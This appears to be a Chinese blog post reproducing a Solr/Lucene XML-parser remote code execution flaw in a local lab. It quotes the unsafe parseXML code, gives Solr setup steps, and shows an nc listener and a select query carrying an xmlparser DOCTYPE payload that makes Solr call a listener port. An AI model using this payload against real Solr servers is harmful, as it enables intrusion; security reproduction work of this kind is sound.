Apache Solr/Lucene 0Day遠端程式碼執行漏洞復現
阿新 • • 發佈:2019-02-01
最近發現網路上Apache Solr/Lucene 存在遠端程式碼執行漏洞,現進行復現。
1.存在位置
根據漏洞詳細報告,在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null ;
try {
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
可以呼叫xmlparser直譯器訪問遠端url資料,攻擊者可以利用其執行任意程式碼。
2.環境搭建
實驗使用:
- Apache Solr 6.0(之前嘗試6.6版本未成功)
- Windows 7
1.下載solr
2.啟動solr
cd bin
solr start
3. 新建core(命名為“test”)
solr stop -all
solr -e test
成功後進入
我們在core admin中就可以看到建立的test
3.漏洞復現
1.啟動nc 監聽4444埠
nc -lvp 4444
2.訪問
http://localhost:8983/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"> <a></a>'}
3.nc中可以看到solr訪問4444埠即證明漏洞存在